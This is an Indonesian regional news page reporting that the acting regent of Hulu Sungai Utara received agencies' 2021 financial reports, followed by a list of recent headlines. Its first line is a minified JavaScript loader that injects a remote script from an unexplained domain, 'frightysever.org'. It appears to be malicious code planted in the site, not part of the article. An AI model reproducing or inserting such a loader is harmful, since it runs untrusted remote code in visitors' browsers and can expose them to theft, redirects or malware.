(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

SKPD Serahkan Laporan Keuangan Tahun 2021, Ini Kata Plt Bupati HSU


KANALKALIMANTAN.COM, AMUNTAI – Pelaksana tugas (Plt) Bupati Hulu Sungai Utara (HSU) H Husairi Abdi menekankan kepada seluruh kepala SKPD agar berdedikasi, berkomitmen tinggi, memiliki loyalitas, dan tanggung jawab penyampaian laporan keuangan.

Hal ini disampaikan Plt Bupati HSU H Husairi Abdi saat penyerahan laporan keuangan Satuan Kerja Perangkat Daerah (SKPD) di lingkungan Pemkab HSU tahun 2021, di Gedung Agung, Senin (14/2/2022).

Plt Bupati HSU Husairi Abdi, mengucapkan terima kasih kepada seluruh kepala SKPD di lingkungan Pemkab HSU atas dukungan dan kerjasama selama ini, baik dalam pelaksanaan pembangunan, penyelenggaraan pemerintahan maupun pembinaan kemasyarakatan.

Kepala SKPD, kata Husairi, dituntut memeliki dedikasi, komitmen yang tinggi, loyalitas dan tanggung jawab dalam hal penyampaian laporan keuangan.

 

Baca juga : Mendaki Gunung Pamaton, Youtuber Amuntai Tersesat Sejak Dua Hari Lalu Ditemukan!

“Penyusunan laporan keuangan SKPD harus adanya kerjasama dukungan dari semua kepala SKPD agar bisa bekerja keras, bekerja cerdas, bekerja cermat, bekerja tuntas dan bekerja ikhlas,” ujarnya.

Sebagaimana dalam Permendagri Nomor 77 Tahun 2020 tentang pedoman teknis pengelolaan keuangan daerah bahwa salah salah satu tugas kepala SKPD selaku Pengguna Anggaran (PA) adalah menyusun dan menyampaikan laporan keuangan SKPD.

Sementara itu, Plt Kepala Badan Pengelola Keuangan dan Aset Daerah (BPKAD) HSU, Joko Sumarsono mengatakan laporan keuangan SKPD disusun dan disajikan kepala SKPD selaku pengguna anggaran sebagai entitas akuntansi paling sedikit meliputi, laporan operasional (LO), laporan perubahan ekuitas (LPE) dan catatan atas laporan keuangan (CALK).

“Laporan keuangan SKPD Pemkab HSU unaudited tahun 2021 tersebut nantinya akan disampaikan kepada Kepala Daerah oleh Sekretaris Daerah dan sudah harus diterima oleh BPK RI paling lambat tiga bulan setelah tahun anggaran berakhir,” jelasnya.
(kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

1 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

2 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

2 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

3 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

5 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

6 jam ago

This website uses cookies.